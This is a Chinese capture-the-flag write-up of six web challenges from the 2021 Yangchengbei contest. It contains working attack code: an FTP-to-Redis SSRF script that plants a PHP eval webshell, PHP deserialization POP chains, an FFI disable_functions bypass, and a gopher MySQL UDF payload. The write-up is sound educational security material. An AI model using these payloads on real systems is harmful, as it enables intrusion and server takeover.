[WP]2021羊城杯-Web部分

2024-01-19 14:48
文章标签 web 部分 2021 wp 羊城

本文主要是介绍[WP]2021羊城杯-Web部分,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 写在前面
  • Web
    • Cross The Side
    • Checkin_Go
    • Only 4 (非预期解法)
    • Only 4 (预期解法)
    • NO SQL
    • EasyCurl

写在前面

这次拿了第一还是比较开心的,一晚上没睡觉…

Web

Cross The Side

版本信息Laravel v8.26.1 (PHP v7.4.15)
在这里插入图片描述
目录扫描
在这里插入图片描述

应该是开启了redis
在这里插入图片描述
联系版本号,尝试debug-rce
在这里插入图片描述
既然有file_get_contents与file_put_contents,尝试ftp passivemode 成功出网了
那么就考虑我们将使用FTP协议的被动模式让file_get_contents()在我们的服务器上下载一个文件,当它试图使用file_put_contents()把它上传回去时,我们将告诉它把文件发送到127.0.0.1:6379。
这样,我们就可以向目标主机本地的Redis发送一个任意的数据包,从而执行代码,造成SSRF

import socket
from urllib.parse import unquotepayload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%249%0D%0Aindex.php%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A")
payload = payload.encode('utf-8')host = '0.0.0.0'
port = 1235
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)sk2 = socket.socket()
sk2.bind((host, 1236))
sk2.listen()count = 1
while 1:conn, address = sk.accept()conn.send(b"200 \n")print(conn.recv(20)) if count == 1:conn.send(b"220 ready\n")else:conn.send(b"200 ready\n")print(conn.recv(20))   if count == 1:conn.send(b"215 \n")else:conn.send(b"200 \n")print(conn.recv(20))  if count == 1:conn.send(b"213 3 \n")  else:conn.send(b"300 \n")print(conn.recv(20))  conn.send(b"200 \n")print(conn.recv(20))   if count == 1:conn.send(b"227 xx,xxxx\n") else:conn.send(b"227 127,0,0,1,24,235\n")  print(conn.recv(20))  if count == 1:conn.send(b"125 \n") print("建立连接!")conn2, address2 = sk2.accept()conn2.send(payload)conn2.close()print("断开连接!")else:conn.send(b"150 \n")print(conn.recv(20))exit()if count == 1:conn.send(b"226 \n")conn.close()count += 1

在这里插入图片描述
访问shell.php,没过滤直接起飞读flag就行
在这里插入图片描述

Checkin_Go

看名字就知道是golang的,进去就看到验证码,第一眼以为填写六位以后的,结果是字符串

在这里插入图片描述

简单爆破登录

import string
import hashlibstrings = string.ascii_letters + "0123456789"for i in strings:for j in strings:for k in strings:for l in strings:for z in strings:for x in strings:tmp = str(i)+str(j)+str(k)+str(l)+str(z)+str(x)if hashlib.md5(tmp.encode()).hexdigest()[:6] == "4bf18e":print(tmp)exit(0)

老规矩尝试admin直接登陆,密码似乎随意不检验
在这里插入图片描述

需要绕过admin

在这里插入图片描述
在这里插入图片描述

之后又发现了,session的key是伪随机数。没有设置随机数种子。是系统固定的。
在这里插入图片描述
在这里插入图片描述

每次运行都是这个猜测考点是session伪造了,使用https://github.com/EddieIvan01/secure-cookie-faker 把伪造session即可
在这里插入图片描述

解码得到结构
在这里插入图片描述

设置密钥加密
在这里插入图片描述

成功得到admin
在这里插入图片描述
在这里插入图片描述

因为money和价格都做了签名操作,不知道secret。所以不能直接改。这里可以整数溢出price到0,就可以购买flag了。加价格 0xffffffff-price+1.
在这里插入图片描述
在这里插入图片描述

成功得到flag
在这里插入图片描述

Only 4 (非预期解法)

发现 secret.php读一读,
在这里插入图片描述
尝试一下6和8有,
在这里插入图片描述
8是日志,这不直接一把梭
在这里插入图片描述

日志包含,出了phpinfo
在这里插入图片描述
尝试readfile(/flag)拿到flag
在这里插入图片描述

Only 4 (预期解法)

扫一扫有惊喜,还好字典强大,之前自己补充过一点
在这里插入图片描述
读一下php://filter/convert.base64-encode/resource=serialize.php

<?php
class start_gg 
{public $mod1; public $mod2;public function __destruct(){$this->mod1->test1();}
}
class Call 
{public $mod1; public $mod2;public function test1(){$this->mod1->test2();}
}
class funct 
{public $mod1; public $mod2;public function __call($test2,$arr){$s1 = $this->mod1;$s1();}
}
class func 
{public $mod1; public $mod2;public function __invoke(){$this->mod2 = "字符串拼接".$this->mod1;} 
}
class string1 
{public $str1;public $str2;public function __toString(){$this->str1->get_flag();return "1";}
}
class GetFlag
{public function get_flag(){echo highlight_file('secret.php');}
}?>

啊这,套娃都能套,先构造反序列化链子

<?php
class start_gg
{public $mod1;
//    public $mod2;public function __construct(){$this->mod1 = new Call();}}
class Call
{public $mod1;
//    public $mod2;public function __construct(){$this->mod1 = new funct();}}
class funct
{public $mod1;
//    public $mod2;public function __construct(){$this->mod1 = new func();}}
class func
{public $mod1;
//    public $mod2;public function __construct(){$this->mod1 = new string1();}}
class string1
{public $str1;
//    public $str2;public function __construct(){$this->str1 = new GetFlag();}}
class GetFlag
{public function get_flag(){//        echo "213221321";}
}echo serialize(new start_gg());?>

接下来看绕过的部分
过滤的逻辑是

$url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);foreach($query as $value){if (preg_match("/Flag/",$value)) {die('not hit');exit();}}

简简单单自己测试
在这里插入图片描述
百度上搜一搜
在这里插入图片描述
绕过也很容易多加个/即可
在这里插入图片描述
四字符rce而已
在这里插入图片描述
看看当前目录最前面是i开头
在这里插入图片描述
写一个cat进去
在这里插入图片描述
直接读就行了简单的
在这里插入图片描述

NO SQL

先是进行了一系列的黑盒测试后发现requestsreset这里存在注入
发现可以用正则匹配,发现User长度是7
在这里插入图片描述
通过爆破读到Username是Sangfor,猜测考点可能是登陆
在这里插入图片描述
突然发现有一个backup.zip,唉之前咋没读到呢,配合$func读,现在已经有了用户名Sangfor就不必再查了,获取token即可方便改密码为nosqlbaibai2333
在这里插入图片描述
同样的方式,可以看见这里成功获得了token

在这里插入图片描述
接下来配合resetpasswd,可以看见这里token校验通过就可以改密码
在这里插入图片描述
修改密码后,后台登陆成功
在这里插入图片描述
发现了什么说在GPG_KEYS里面
在这里插入图片描述
但是这里啥都没有
在这里插入图片描述
发现有一个finder功能,
在这里插入图片描述
可以随意修改文件
在这里插入图片描述
简简单单搞个一句话木马看看,拿到GPG_KEYS并不是flag被骗了
在这里插入图片描述
通过蚁剑可以发现flag似乎在根目录,但是没有权限
在这里插入图片描述
同时发现disable_functions禁用了很多
在这里插入图片描述
尝试UAF等无果后,并且是Apache的也不能打fastcgi之类的,之后发现FFI可以绕过

<?php
$ffi = FFI::cdef("int system (const char* command);");
echo $ffi->system($_POST[1]);
?>

没有回显那就把命令结果输出到web目录访问,测试成功bypass disable_functions
在这里插入图片描述
为了方便操作直接反弹个shell
在这里插入图片描述
不能suid提权
在这里插入图片描述
简单进行信息搜集,用了各种内核洞没打通,果断弃坑了唉
在这里插入图片描述
比赛完后发现tmp目录下这个文件明显不一样,我麻了啊早点看到啊
在这里插入图片描述
发现是目录
在这里插入图片描述
拿到了flag,有点被恶心到了
在这里插入图片描述

EasyCurl

common.php.bak得到源码,扫目录得到app文件
在这里插入图片描述
得到admin密码是R1nd0_1s_n3k0
在这里插入图片描述
之后可以访问admin.php了
在这里插入图片描述
同时有个log文件,虽然暂时没用
在这里插入图片描述
回到上面即可,接下来简单生产一个类测试

<?phpclass User
{public $username;private $password;public function __construct(){$this->username="admin";$this->password=md5("R1nd0_1s_n3k0");}}echo urlencode(serialize(new User()));

出现了admin
在这里插入图片描述
发现没有校验很奇怪
在这里插入图片描述
这里也写了log进去感觉有东西看到两个.log
在这里插入图片描述
猜测调用write_log功能
在这里插入图片描述
经过我不断的猜测,发现可以触发toString,毕竟打印了username
附上pop链利用脚本

<?php 
class file_request
{public $url;private $content;function __construct(){$this->content="";$this->url="gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%19%00%00%00%03%73%65%6c%65%63%74%20%73%79%73%5f%65%76%61%6c%28%22%6c%73%20%2f%22%29%3b%01%00%00%00%01";}
}
class cache_parser
{public $user;public $default_handler;function __construct($opt){if($opt==1){$this->user=new User(2);$this->logger=new cache_parser(2);}elseif($opt==2){$this->default_handler=new file_request();}}
}
class User
{public $logger;public $session_id;function __construct($opt){//toString 触发if($opt==1)$this->username=new cache_parser(1);//$this->user->session_idelseif($opt==2)$this->session_id='fuck';}
}echo urlencode(serialize(new User(1)));
?>

成功读取到了各个文件,flag不在根目录不叫flag
在这里插入图片描述
可以ssrf,gopherus不知道为什么直接命令行输入结果很少,总出错烦死了,肯定是gopherus生成的payload的问题,我把gopherus改了为固定输入
在这里插入图片描述
udf提权按照这篇文章
https://www.sqlsec.com/2020/11/mysql.html#toc-heading-15
发现根目录有readflag
在这里插入图片描述
六个小时终于好了太感动了
在这里插入图片描述

这篇关于[WP]2021羊城杯-Web部分的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/622766

相关文章

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

poj 2976 分数规划二分贪心(部分对总体的贡献度) poj 3111

poj 2976: 题意: 在n场考试中,每场考试共有b题,答对的题目有a题。 允许去掉k场考试,求能达到的最高正确率是多少。 解析: 假设已知准确率为x,则每场考试对于准确率的贡献值为: a - b * x,将贡献值大的排序排在前面舍弃掉后k个。 然后二分x就行了。 代码: #include <iostream>#include <cstdio>#incl

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

9.8javaweb项目总结

1.主界面用户信息显示 登录成功后,将用户信息存储在记录在 localStorage中,然后进入界面之前通过js来渲染主界面 存储用户信息 将用户信息渲染在主界面上,并且头像设置跳转,到个人资料界面 这里数据库中还没有设置相关信息 2.模糊查找 检测输入框是否有变更,有的话调用方法,进行查找 发送检测请求,然后接收的时候设置最多显示四个类似的搜索结果

JavaWeb【day09】--(Mybatis)

1. Mybatis基础操作 学习完mybatis入门后,我们继续学习mybatis基础操作。 1.1 需求 需求说明: 根据资料中提供的《tlias智能学习辅助系统》页面原型及需求,完成员工管理的需求开发。 通过分析以上的页面原型和需求,我们确定了功能列表: 查询 根据主键ID查询 条件查询 新增 更新 删除 根据主键ID删除 根据主键ID批量删除

利用Django框架快速构建Web应用:从零到上线

随着互联网的发展,Web应用的需求日益增长,而Django作为一个高级的Python Web框架,以其强大的功能和灵活的架构,成为了众多开发者的选择。本文将指导你如何从零开始使用Django框架构建一个简单的Web应用,并将其部署到线上,让世界看到你的作品。 Django简介 Django是由Adrian Holovaty和Simon Willison于2005年开发的一个开源框架,旨在简

web群集--nginx配置文件location匹配符的优先级顺序详解及验证

文章目录 前言优先级顺序优先级顺序(详解)1. 精确匹配(Exact Match)2. 正则表达式匹配(Regex Match)3. 前缀匹配(Prefix Match) 匹配规则的综合应用验证优先级 前言 location的作用 在 NGINX 中,location 指令用于定义如何处理特定的请求 URI。由于网站往往需要不同的处理方式来适应各种请求,NGINX 提供了多种匹

笔记整理—内核!启动!—kernel部分(2)从汇编阶段到start_kernel

kernel起始与ENTRY(stext),和uboot一样,都是从汇编阶段开始的,因为对于kernel而言,还没进行栈的维护,所以无法使用c语言。_HEAD定义了后面代码属于段名为.head .text的段。         内核起始部分代码被解压代码调用,前面关于uboot的文章中有提到过(eg:zImage)。uboot启动是无条件的,只要代码的位置对,上电就工作,kern

构建高性能WEB之HTTP首部优化

0x00 前言 在讨论浏览器优化之前,首先我们先分析下从客户端发起一个HTTP请求到用户接收到响应之间,都发生了什么?知己知彼,才能百战不殆。这也是作为一个WEB开发者,为什么一定要深入学习TCP/IP等网络知识。 0x01 到底发生什么了? 当用户发起一个HTTP请求时,首先客户端将与服务端之间建立TCP连接,成功建立连接后,服务端将对请求进行处理,并对客户端做出响应,响应内容一般包括响应